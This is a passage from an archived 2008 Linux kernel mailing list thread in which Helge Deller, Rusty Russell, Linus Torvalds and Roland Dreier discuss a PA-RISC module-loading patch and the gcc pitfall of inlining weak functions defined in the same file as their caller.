	id 1LI1qq-0007wg-RF
	for glpp-linux-parisc@gmane.org; Wed, 31 Dec 2008 15:15:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755352AbYLaON4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Dec 2008 09:13:56 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755564AbYLaON4
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 31 Dec 2008 09:13:56 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:37069 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1755352AbYLaONz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Dec 2008 09:13:55 -0500
Original-Received: (qmail invoked by alias); 31 Dec 2008 14:13:53 -0000
Original-Received: from mnhm-590f71f5.pool.einsundeins.de (EHLO halden.box) [89.15.113.245]
  by mail.gmx.net (mp059) with SMTP; 31 Dec 2008 15:13:53 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19xk4wuNJFxy/AJAMZH+vQgZSTSrP9hmmrNKIGcIC
	TgppI7YXLz041L
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <200901010002.41477.rusty@rustcorp.com.au>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.57
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1062 gmane.linux.kernel:773976
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1062>

Rusty Russell wrote:
> Not quite what I had in mind... let me show you:
> ...
> Otherwise I'd have called it "arch_module_extra_size()".

Hmm, this needs more thinking then.

So, in summary this would be your proposed change (?):

+/* Bytes needed for a section: default is just the section size. */
+unsigned int __attribute__((weak))
+arch_module_section_size(struct module *mod, Elf_Shdr *sechdrs, unsigned int sec)
+{
+       return sechdrs[sec].sh_size;
+}
+
 /* Update size with this section: return offset. */
-static long get_offset(unsigned int *size, Elf_Shdr *sechdr)
+static long get_offset(struct module *mod, unsigned int *size,
+               Elf_Shdr *sechdr, unsigned int section)
 {
        long ret;

        ret = ALIGN(*size, sechdr->sh_addralign ?: 1);
-       *size = ret + sechdr->sh_size;
+       *size = ret + arch_module_section_size(mod, sechdr, section);
        return ret;
 }


This would mean that I can increase the section size in the arch-specific function
by returning a bigger value than sh_size.
This would give me space at the end of the section, but not at the beginning 
(which is what I need), as sh_entsize (the offset into memory) will stay the 
same as before.
Example: Having an initial value for core_size of zero, the code bits of the 
very first section are still copied into the very first byte in memory, leaving
me no room for the stubs.

The important part of get_offset() is, which value is returned to the caller.
Let's try another example which would work for me:

+static long get_offset(struct module *mod, unsigned int *size,
+               Elf_Shdr *sechdr, unsigned int section)
 {
-       long ret;
+       long ret, sect_size;

+       sect_size = arch_module_section_size(mod, sechdr, section);
+       *size += (sect_size - sechdr->sh_size);
        ret = ALIGN(*size, sechdr->sh_addralign ?: 1);
        *size = ret + sechdr->sh_size;
	return ret;

IMHO, this is hackish and ugly.

A last option for me would be to set core_size to the initial value
of bytes which I would need for section 1 and returning in 
arch_module_section_size() when asked for the size of section 1 the 
sum of sh_size[section 1] + additional_bytes_needed_for_section_2,
and so on...

Any proposals?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix module loading failure of large kernel
 modules (take 4)
Date: Wed, 31 Dec 2008 09:29:36 -0800 (PST)
Lines: 42
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.0812310926450.5086@localhost.localdomain>
References: <4959346E.7060600@gmx.de> <200812310915.41693.rusty@rustcorp.com.au> <495B5806.3080505@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1230744619 2896 80.91.229.12 (31 Dec 2008 17:30:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Dec 2008 17:30:19 +0000 (UTC)
Cc: Rusty Russell <rusty@rustcorp.com.au>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 31 18:31:21 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LI4uc-0001Kq-8J
	for glpp-linux-parisc@gmane.org; Wed, 31 Dec 2008 18:31:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752233AbYLaRaB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Dec 2008 12:30:01 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753118AbYLaRaA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 31 Dec 2008 12:30:00 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:38056 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752233AbYLaRaA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Dec 2008 12:30:00 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id mBVHTbQ2022978
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 31 Dec 2008 09:29:38 -0800
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id mBVHTafk032554;
	Wed, 31 Dec 2008 09:29:36 -0800
X-X-Sender: torvalds@localhost.localdomain
In-Reply-To: <495B5806.3080505@gmx.de>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Spam-Status: No, hits=-5.421 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1063 gmane.linux.kernel:774019
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1063>



On Wed, 31 Dec 2008, Helge Deller wrote:
>
> [PATCH 1/2] module.c: fix module loading failure of large kernel modules
> 
> When creating the final layout of a kernel module in memory, allow the
> module loader to reserve some additional memory in front of a given section.
> This is currently only needed for the parisc port which needs to put the
> stub entries there to fulfill the 17/22bit PCREL relocations with large
> kernel modules like xfs.
> 
> Differences of this patch to previous versions:
> - added weak funtion arch_module_section_size()

This doesn't work.

We've had this bug several times now, and one of them just very recently.

Some gcc versions will inline weak functions if they are in scope - even 
if there is a non-weak function somewhere else. So you MUST NOT have the 
weak definition in the same file (or indirectly called through some inline 
functions in a header file) as the call. Because if you do, then any user 
with the wrong version of gcc will get the weak function semantics, even 
if it was meant to be overridden by something else.

> +/* Additional bytes needed by arch in front of individual sections */
> +unsigned int __attribute__ ((weak)) arch_module_section_size(
> +		struct module *mod, unsigned int section)

We don't write out that whole "__attribute__" crud. We use

	unsigned in __weak arch_module_section_size(struct module *mod, unsigned int section)

instead. But as mentioned, it needs to be in another compilation unit.

		Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland Dreier <rdreier@cisco.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix module loading failure of large kernel modules (take 4)
Date: Wed, 31 Dec 2008 09:36:09 -0800
Lines: 31
Approved: news@gmane.org
Message-ID: <ada63l0qmba.fsf@cisco.com>
References: <4959346E.7060600@gmx.de>
	<200812310915.41693.rusty@rustcorp.com.au> <495B5806.3080505@gmx.de>
	<alpine.LFD.2.00.0812310926450.5086@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230744986 4059 80.91.229.12 (31 Dec 2008 17:36:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Dec 2008 17:36:26 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Rusty Russell <rusty@rustcorp.com.au>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 31 18:37:31 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LI50b-0002P7-AN
	for glpp-linux-parisc@gmane.org; Wed, 31 Dec 2008 18:37:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752233AbYLaRgN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Dec 2008 12:36:13 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755921AbYLaRgN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 31 Dec 2008 12:36:13 -0500
Original-Received: from sj-iport-2.cisco.com ([171.71.176.71]:32125 "EHLO
	sj-iport-2.cisco.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752233AbYLaRgM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Dec 2008 12:36:12 -0500
X-IronPort-AV: E=Sophos;i="4.36,309,1228089600"; 
   d="scan'208";a="119244810"
Original-Received: from sj-dkim-1.cisco.com ([171.71.179.21])
  by sj-iport-2.cisco.com with ESMTP; 31 Dec 2008 17:36:11 +0000
Original-Received: from sj-core-2.cisco.com (sj-core-2.cisco.com [171.71.177.254])
	by sj-dkim-1.cisco.com (8.12.11/8.12.11) with ESMTP id mBVHaBbA009753;
	Wed, 31 Dec 2008 09:36:11 -0800
Original-Received: from xbh-sjc-231.amer.cisco.com (xbh-sjc-231.cisco.com [128.107.191.100])
	by sj-core-2.cisco.com (8.13.8/8.13.8) with ESMTP id mBVHaBOg027803;
	Wed, 31 Dec 2008 17:36:11 GMT
Original-Received: from xfe-sjc-211.amer.cisco.com ([171.70.151.174]) by xbh-sjc-231.amer.cisco.com with Microsoft SMTPSVC(6.0.3790.1830);
	 Wed, 31 Dec 2008 09:36:10 -0800
Original-Received: from roland-conroe ([171.71.26.194]) by xfe-sjc-211.amer.cisco.com with Microsoft SMTPSVC(6.0.3790.1830);
	 Wed, 31 Dec 2008 09:36:09 -0800
Original-Received: by roland-conroe (Postfix, from userid 33217)
	id B97B1E71E2; Wed, 31 Dec 2008 09:36:09 -0800 (PST)
X-Message-Flag: Warning: May contain useful information
In-Reply-To: <alpine.LFD.2.00.0812310926450.5086@localhost.localdomain> (Linus
	Torvalds's message of "Wed, 31 Dec 2008 09:29:36 -0800 (PST)")
User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.0.60 (gnu/linux)
X-OriginalArrivalTime: 31 Dec 2008 17:36:10.0022 (UTC) FILETIME=[44B77C60:01C96B6E]
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; l=936; t=1230744971; x=1231608971;
	c=relaxed/simple; s=sjdkim1004;
	h=Content-Type:From:Subject:Content-Transfer-Encoding:MIME-Version;
	d=cisco.com; i=rdreier@cisco.com;
	z=From:=20Roland=20Dreier=20<rdreier@cisco.com>
	|Subject:=20Re=3A=20[PATCH]=20parisc=3A=20fix=20module=20lo
	ading=20failure=20of=20large=20kernel=20modules=20(take=204)
	|Sender:=20;
	bh=yEr2hW4I+STzdEAiyEPkqpdlcoqOnMcaKFn6D0Jpro4=;
	b=MxWswaO847sTKuE0oNhnHOp91CSISfQCumBy6itpVHfYkwu3uNXBPf6NzH
	M9nfZq0KRl1J5UeXHf3a+GQDu2PzSsXAcPdiFf7O3S6yYiXBL7lZjYvI8QLT
	TomPqKWMnaCYmL1Ndi0NSuMqXNmtzTRAKMvKZb6zyX8mh8EkdGtYE=;
Authentication-Results: sj-dkim-1; header.From=rdreier@cisco.com; dkim=pass (
	sig from cisco.com/sjdkim1004 verified; ); 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1064 gmane.linux.kernel:774021
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1064>

 > Some gcc versions will inline weak functions if they are in scope - even 
 > if there is a non-weak function somewhere else. So you MUST NOT have the 
 > weak definition in the same file (or indirectly called through some inline 
 > functions in a header file) as the call. Because if you do, then any user 
 > with the wrong version of gcc will get the weak function semantics, even 
 > if it was meant to be overridden by something else.

Does this mean lib/swiotlb.c is broken now?  It has eg:

	void * __weak swiotlb_alloc_boot(size_t size, unsigned long nslabs)

and then

	void __init
	swiotlb_init_with_default_size(size_t default_size)
	{
...
		io_tlb_start = swiotlb_alloc_boot(bytes, io_tlb_nslabs);

later on in the same file.

(I just notice this because I saw the warning about swiotlb_alloc_boot()
not being __init but calling __alloc_bootmem_low and so I looked at the
code yesterday)

 - R.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix module loading failure of large kernel modules
 (take 4)
Date: Wed, 31 Dec 2008 18:39:55 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <495BAE6B.2030100@gmx.de>
References: <4959346E.7060600@gmx.de> <200812310915.41693.rusty@rustcorp.com.au> <495B5806.3080505@gmx.de> <alpine.LFD.2.00.0812310926450.5086@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230745216 4721 80.91.229.12 (31 Dec 2008 17:40:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Dec 2008 17:40:16 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 31 18:41:21 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LI54B-0004a9-IS
	for glpp-linux-parisc@gmane.org; Wed, 31 Dec 2008 18:41:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755921AbYLaRjz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Dec 2008 12:39:55 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756016AbYLaRjz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 31 Dec 2008 12:39:55 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:36829 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1755921AbYLaRjy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Dec 2008 12:39:54 -0500
Original-Received: (qmail invoked by alias); 31 Dec 2008 17:39:52 -0000
Original-Received: from mnhm-590f71f5.pool.einsundeins.de (EHLO halden.box) [89.15.113.245]
  by mail.gmx.net (mp026) with SMTP; 31 Dec 2008 18:39:52 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+yxdx5Z9eyAQO9/tdq644oz6Xeg9enyXGewU5bM1
	0BZfxyEQ8SDrV7
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <alpine.LFD.2.00.0812310926450.5086@localhost.localdomain>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.55
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1065 gmane.linux.kernel:774023
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1065>

Linus Torvalds wrote:
> 
> On Wed, 31 Dec 2008, Helge Deller wrote:
>> [PATCH 1/2] module.c: fix module loading failure of large kernel modules
>>
>> When creating the final layout of a kernel module in memory, allow the
>> module loader to reserve some additional memory in front of a given section.
>> This is currently only needed for the parisc port which needs to put the
>> stub entries there to fulfill the 17/22bit PCREL relocations with large
>> kernel modules like xfs.
>>
>> Differences of this patch to previous versions:
>> - added weak funtion arch_module_section_size()
> 
> This doesn't work.
> 
> We've had this bug several times now, and one of them just very recently.
> 
> Some gcc versions will inline weak functions if they are in scope - even 
> if there is a non-weak function somewhere else. So you MUST NOT have the 
> weak definition in the same file (or indirectly called through some inline 
> functions in a header file) as the call. Because if you do, then any user 
> with the wrong version of gcc will get the weak function semantics, even 
> if it was meant to be overridden by something else.

Ok, that might explain why I saw some strange things in the unwind tables
after that I switched to using the weak function (hppa-crosscompiler, gcc-3.3.4).

>> +/* Additional bytes needed by arch in front of individual sections */
>> +unsigned int __attribute__ ((weak)) arch_module_section_size(
>> +		struct module *mod, unsigned int section)
> 
> We don't write out that whole "__attribute__" crud. We use
> 
> 	unsigned in __weak arch_module_section_size(struct module *mod, unsigned int section)
> 
> instead.

Ok.

> But as mentioned, it needs to be in another compilation unit.

Understood.

Rusty, back to you for an advise on how to continue ;-)
(I assume Rusty is just right now celebrating new-year)

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix module loading failure of large kernel
 modules (take 4)
Date: Wed, 31 Dec 2008 09:47:19 -0800 (PST)
Lines: 45
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain>
References: <4959346E.7060600@gmx.de> <200812310915.41693.rusty@rustcorp.com.au> <495B5806.3080505@gmx.de> <alpine.LFD.2.00.0812310926450.5086@localhost.localdomain> <ada63l0qmba.fsf@cisco.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1230745753 6113 80.91.229.12 (31 Dec 2008 17:49:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Dec 2008 17:49:13 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Rusty Russell <rusty@rustcorp.com.au>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Roland Dreier <rdreier@cisco.com>, Ingo Molnar <mingo@elte.hu>,
	Ian Campbell <ian.campbell@citrix.com>,
	Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 31 18:50:14 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LI5Cu-0007iu-KS
	for glpp-linux-parisc@gmane.org; Wed, 31 Dec 2008 18:50:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755814AbYLaRsz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Dec 2008 12:48:55 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755635AbYLaRsz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 31 Dec 2008 12:48:55 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:51638 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752233AbYLaRsy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Dec 2008 12:48:54 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id mBVHlMjQ024622
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 31 Dec 2008 09:47:23 -0800
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id mBVHlKKJ013924;
	Wed, 31 Dec 2008 09:47:20 -0800
X-X-Sender: torvalds@localhost.localdomain
In-Reply-To: <ada63l0qmba.fsf@cisco.com>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Spam-Status: No, hits=-5.423 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1066 gmane.linux.kernel:774027
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1066>



On Wed, 31 Dec 2008, Roland Dreier wrote:
> 
> Does this mean lib/swiotlb.c is broken now?

Yes it does.

> It has eg:
>
> 	void * __weak swiotlb_alloc_boot(size_t size, unsigned long nslabs)
> 
> and then
> 
> 	void __init
> 	swiotlb_init_with_default_size(size_t default_size)
> 	{
> ...
> 		io_tlb_start = swiotlb_alloc_boot(bytes, io_tlb_nslabs);
> 
> later on in the same file.

Good eyes. 

Ingo? This comes from commit b81ea27b2329bf44b30c427800954f845896d476, by 
Ian, through Jeremy.

> (I just notice this because I saw the warning about swiotlb_alloc_boot()
> not being __init but calling __alloc_bootmem_low and so I looked at the
> code yesterday)

Lucky us. What's nasty about this is that most developers probably have 
updated versions of gcc, and are then surprised when some odd user has 
insane behavior that doesn't match the source code - because the compiler 
did something unexpected.

I guess I could make a sparse rule for this, but nobody seems to run or 
care about sparse anyway. Sad.

		Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix module loading failure of large kernel
 modules (take 4)
Date: Wed, 31 Dec 2008 10:02:49 -0800 (PST)
Lines: 156
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.0812310953440.5086@localhost.localdomain>
References: <4959346E.7060600@gmx.de> <200812310915.41693.rusty@rustcorp.com.au> <495B5806.3080505@gmx.de> <alpine.LFD.2.00.0812310926450.5086@localhost.localdomain> <ada63l0qmba.fsf@cisco.com> <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1230746623 8911 80.91.229.12 (31 Dec 2008 18:03:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Dec 2008 18:03:43 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Rusty Russell <rusty@rustcorp.com.au>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Roland Dreier <rdreier@cisco.com>, Ingo Molnar <mingo@elte.hu>,
	Ian Campbell <ian.campbell@citrix.com>,
	Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 31 19:04:46 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LI5Qr-00039j-Kq
	for glpp-linux-parisc@gmane.org; Wed, 31 Dec 2008 19:04:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755830AbYLaSDV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Dec 2008 13:03:21 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756102AbYLaSDV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 31 Dec 2008 13:03:21 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:39038 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755830AbYLaSDU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Dec 2008 13:03:20 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id mBVI2pxT025668
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 31 Dec 2008 10:02:52 -0800
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id mBVI2nv2026085;
	Wed, 31 Dec 2008 10:02:49 -0800
X-X-Sender: torvalds@localhost.localdomain
In-Reply-To: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Spam-Status: No, hits=-5.423 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
